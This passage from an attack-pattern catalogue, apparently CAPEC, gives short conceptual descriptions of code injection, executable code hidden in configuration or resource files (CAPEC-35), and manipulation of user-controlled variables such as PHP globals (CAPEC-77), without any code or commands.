An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.